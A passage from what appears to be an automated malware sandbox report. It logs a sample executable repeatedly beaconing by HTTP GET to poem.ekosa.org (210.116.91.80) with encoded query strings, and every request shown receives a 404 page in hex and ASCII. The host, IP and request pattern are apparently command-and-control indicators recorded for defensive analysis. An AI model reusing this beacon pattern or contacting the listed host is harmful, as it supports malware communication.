3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.4	50000	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:04.880650043 CET	5260	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:05.148592949 CET	5261	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:05 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.4	50001	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:05.413639069 CET	5261	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:05.672926903 CET	5262	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:05 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.4	50002	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:06.053875923 CET	5263	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:06.316679001 CET	5263	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:06 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.4	50003	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:06.586606026 CET	5264	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:06.848301888 CET	5265	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:06 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.4	50004	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:07.116955042 CET	5265	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:07.377197981 CET	5266	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:07 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.4	50005	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:07.765417099 CET	5266	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:08.034401894 CET	5267	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:07 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.4	50006	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:08.305757046 CET	5268	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:08.567388058 CET	5268	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:08 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.4	50007	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:08.846982002 CET	5269	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:09.118041992 CET	5269	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:08 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.4	50008	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:09.513710022 CET	5270	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:09.786297083 CET	5271	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:09 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.4	50009	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:10.058687925 CET	5271	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:10.320363045 CET	5272	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:09 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49787	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:09.840960979 CET	393	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
